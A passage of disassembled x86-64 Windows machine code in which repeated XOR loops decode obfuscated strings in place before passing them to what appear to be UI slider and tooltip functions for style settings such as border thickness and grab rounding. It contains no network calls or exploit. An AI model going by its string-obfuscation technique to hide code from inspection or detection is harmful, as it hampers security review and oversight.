cmp byte [rax + 7], 0
je 0x140066c14
cmp edi, 2
jl 0x140066bd7
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [rcx], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm1, xmm0
movd dword [rcx + 4], xmm1
jmp 0x140066c14
mov r9, rcx
xor r8d, r8d
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x140066be0
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
call fcn.14000b670
cmp byte [0x14008a0c8], 0
je 0x140066dde
lea rdx, [rbp + 0x620]
mov byte [rbp - 0x13], 0
lea rcx, [rbp - 0x13]
call fcn.14006f990
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x140066d74
xor r8d, r8d
cmp edi, 2
jl 0x140066d35
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
mov r8d, 8
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x140066d40
movss xmm3, dword [0x14007f808]
lea rax, str._.3f
lea rbx, [rsi + 0x40]
mov dword [rsp + 0x28], 0
mov rdx, rbx
mov qword [rsp + 0x20], rax
movaps xmm2, xmm13
mov rcx, r10
call fcn.14003d620
cmp byte [0x14008a0c8], 1
jne 0x140066dbc
cmp byte [0x14008ae2b], 1
jne 0x140066dbc
mov byte [0x14008ae2b], 0
cmp byte [0x14008a0c9], 1
jne 0x140066de2
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x140066de2
lea rcx, [0x14007dc70]
call fcn.140013150
jmp 0x140066de2
lea rbx, [rsi + 0x40]
cmp byte [0x14008ae2b], 0
je 0x140066fb8
lea rdx, [rbp + 0x1748]
mov byte [rbp - 0x12], 0
lea rcx, [rbp - 0x12]
call fcn.14006f9c0
mov r10, rax
cmp byte [rax + 0x1f], 0
je 0x140066f64
cmp edi, 2
jl 0x140066f1f
movdqa xmmword [rbp + 0x810], xmm11
xor edx, edx
mov r8d, dword [rbp + 0x810]
mov rcx, rax
nop
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x20
jl 0x140066e30
jmp 0x140066f64
mov r9, r10
xor r8d, r8d
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x20
jl 0x140066f30
movss xmm3, dword [0x14007f808]
lea rax, str._.3f
mov dword [rsp + 0x28], 0
movaps xmm2, xmm13
mov rdx, rbx
mov qword [rsp + 0x20], rax
mov rcx, r10
call fcn.14003d620
cmp byte [0x14008a0c9], 1
jne 0x140066fb8
cmp byte [0x14008ae2b], 1
jne 0x140066fb8
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x140066fb8
lea rcx, str.___.__0.0f__________
call fcn.140013150
cmp byte [0x14008a0c8], 0
je 0x1400671a3
lea rdx, [rbp + 0x6f0]
mov byte [rbp - 0x11], 0
lea rcx, [rbp - 0x11]
call fcn.14006f9e0
xor ebx, ebx
mov r10, rax
cmp byte [rax + 0xf], bl
je 0x140067144
cmp edi, 2
jl 0x1400670ff
movdqa xmmword [rbp + 0x810], xmm11
mov edx, ebx
mov r8d, dword [rbp + 0x810]
mov rcx, rax
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x10
jl 0x140067010
jmp 0x140067144
mov r9, r10
mov r8d, ebx
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x140067110
lea rax, str._.3f
mov dword [rsp + 0x28], ebx
movaps xmm3, xmm15
mov qword [rsp + 0x20], rax
movaps xmm2, xmm13
lea rdx, [rsi + 0x44]
mov rcx, r10
call fcn.14003d620
cmp byte [0x14008a0c8], 1
jne 0x140067181
cmp byte [0x14008ae2b], 1
jne 0x140067181
mov byte [0x14008ae2b], 0
cmp byte [0x14008a0c9], 1
jne 0x1400671a5
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x1400671a5
lea rcx, str.Thickness_of_border_around_frames._Generally_set_to_0.0f_or_1.0f.__Other_values_are_not_well_tested_and_more_CPU_GPU_costly_.
call fcn.140013150
jmp 0x1400671a5
xor ebx, ebx
cmp byte [0x14008ae2b], 0
je 0x140067381
lea rdx, [rbp + 0x1210]
mov byte [rbp - 0x10], 0
lea rcx, [rbp - 0x10]
call fcn.14006f9f0
mov r10, rax
cmp byte [rax + 0x17], 0
je 0x140067334
cmp edi, 2
jl 0x1400672ef
movdqa xmmword [rbp + 0x810], xmm11
mov edx, ebx
mov r8d, dword [rbp + 0x810]
mov rcx, rax
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x18
jl 0x140067200
jmp 0x140067334
mov r9, r10
mov r8d, ebx
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x18
jl 0x140067300
lea rax, str._.3f
mov dword [rsp + 0x28], ebx
movaps xmm3, xmm15
mov qword [rsp + 0x20], rax
movaps xmm2, xmm13
lea rdx, [rsi + 0x44]
mov rcx, r10
call fcn.14003d620
cmp byte [0x14008a0c9], 1
jne 0x140067381
cmp byte [0x14008ae2b], 1
jne 0x140067381
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x140067381
lea rcx, [0x14007de40]
call fcn.140013150
cmp byte [0x14008a0c8], 0
je 0x140067539
lea rdx, [rbp + 0x540]
mov byte [rbp - 0xf], 0
lea rcx, [rbp - 0xf]
call fcn.14006fa10
mov r10, rax
cmp byte [rax + 0xb], 0
je 0x1400674d4
mov r8d, ebx
cmp edi, 2
jl 0x140067494
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
mov r8d, 8
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x1400674a0
movss xmm3, dword [0x14007f818]
lea rax, str._.3f
movss xmm2, dword [0x14007f7f0]
lea rdx, [rsi + 0x70]
mov dword [rsp + 0x28], ebx
mov rcx, r10
mov qword [rsp + 0x20], rax
call fcn.14003d620
cmp byte [0x14008a0c8], 1
jne 0x140067519
cmp byte [0x14008ae2b], 1
jne 0x140067519
mov byte [0x14008ae2b], 0
cmp byte [0x14008a0c9], 1
jne 0x140067539
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x140067539
lea rcx, str.Minimum_width_height_of_a_grab_box_for_slider_scrollbar.
call fcn.140013150
cmp byte [0x14008ae2b], 0
je 0x140067719
lea rdx, [rbp + 0x21e8]
mov byte [rbp - 0xe], 0
lea rcx, [rbp - 0xe]
call fcn.14006fa30
mov r10, rax
cmp byte [rax + 0x39], 0
je 0x1400676c4
mov r8d, ebx
cmp edi, 2
jl 0x140067685
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x38
jl 0x140067590
cmp r8d, 0x3a
jge 0x1400676c4
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x3a
jl 0x140067690
movss xmm3, dword [0x14007f818]
lea rax, str._.3f
movss xmm2, dword [0x14007f7f0]
lea rdx, [rsi + 0x70]
mov dword [rsp + 0x28], ebx
mov rcx, r10
mov qword [rsp + 0x20], rax
call fcn.14003d620
cmp byte [0x14008a0c9], 1
jne 0x140067719
cmp byte [0x14008ae2b], 1
jne 0x140067719
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x140067719
lea rcx, str._______.
call fcn.140013150
cmp byte [0x14008a0c8], 0
je 0x1400678d5
lea rdx, [rbp + 0x580]
mov byte [rbp - 0xd], 0
lea rcx, [rbp - 0xd]
call fcn.14006fa70
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x140067874
mov r8d, ebx
cmp edi, 2
jl 0x14006782c
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
mov r8d, 8
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x140067840
movss xmm3, dword [0x14007f7fc]
lea rax, str._.3f
mov dword [rsp + 0x28], ebx
lea rdx, [rsi + 0x74]
movaps xmm2, xmm15
mov qword [rsp + 0x20], rax
mov rcx, r10
call fcn.14003d620
cmp byte [0x14008a0c8], 1
jne 0x1400678b5
cmp byte [0x14008ae2b], 1
jne 0x1400678b5
mov byte [0x14008ae2b], 0
cmp byte [0x14008a0c9], 1
jne 0x1400678d5
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x1400678d5
lea rcx, str.Radius_of_grabs_corners_rounding._Set_to_0.0f_to_have_rectangular_slider_grabs.
call fcn.140013150
cmp byte [0x14008ae2b], 0
je 0x140067aa5
lea rdx, [rbp + 0x2228]
mov byte [rbp - 0xc], 0
lea rcx, [rbp - 0xc]
call fcn.14006faa0
mov r10, rax
cmp byte [rax + 0x3d], 0
je 0x140067a54
mov r8d, ebx
cmp edi, 2
jl 0x140067a16
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x38
jl 0x140067921
cmp r8d, 0x3e
jge 0x140067a54
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x3e
jl 0x140067a20
movss xmm3, dword [0x14007f7fc]
lea rax, str._.3f
mov dword [rsp + 0x28], ebx
lea rdx, [rsi + 0x74]
movaps xmm2, xmm15
mov qword [rsp + 0x20], rax
mov rcx, r10
call fcn.14003d620
cmp byte [0x14008a0c9], 1
jne 0x140067aa5
cmp byte [0x14008ae2b], 1
jne 0x140067aa5
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x140067aa5
lea rcx, str.___.__0.0f______.
call fcn.140013150
cmp byte [0x14008a0c8], 0
je 0x140067c85
lea rdx, [rbp + 0x1060]
mov byte [rbp - 0xb], 0
lea rcx, [rbp - 0xb]
call fcn.14006faf0
mov r10, rax
cmp byte [rax + 0x10], 0
je 0x140067c24
mov r8d, ebx
cmp edi, 2
jl 0x140067be6
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x10
jl 0x140067af1
cmp r8d, 0x11
jge 0x140067c24
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x140067bf0
movss xmm3, dword [0x14007f76c]
lea rax, str._.3f
mov dword [rsp + 0x28], ebx
lea rdx, [rsi + 0x10]
movaps xmm2, xmm13
mov qword [rsp + 0x20], rax
mov rcx, r10
call fcn.14003d620
cmp byte [0x14008a0c8], 1
jne 0x140067c65
cmp byte [0x14008ae2b], 1
jne 0x140067c65
mov byte [0x14008ae2b], 0
cmp byte [0x14008a0c9], 1
jne 0x140067c85
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x140067c85
lea rcx, str.Thickness_of_border_around_windows._Generally_set_to_0.0f_or_1.0f.__Other_values_are_not_well_tested_and_more_CPU_GPU_costly_.
call fcn.140013150
cmp byte [0x14008ae2b], 0
je 0x140067e55
lea rdx, [rbp + 0x1d18]
mov byte [rbp - 0xa], 0
lea rcx, [rbp - 0xa]
call fcn.14006fb10
mov r10, rax
cmp byte [rax + 0x2a], 0
je 0x140067e04
mov r8d, ebx
cmp edi, 2
jl 0x140067dc6
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x140067cd1
cmp r8d, 0x2b
jge 0x140067e04
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x2b
jl 0x140067dd0
movss xmm3, dword [0x14007f76c]
lea rax, str._.3f
mov dword [rsp + 0x28], ebx
lea rdx, [rsi + 0x10]
movaps xmm2, xmm13
mov qword [rsp + 0x20], rax
mov rcx, r10
call fcn.14003d620
cmp byte [0x14008a0c9], 1
jne 0x140067e55
cmp byte [0x14008ae2b], 1
jne 0x140067e55
xor ecx, ecx
call fcn.1400065f0
test al, al
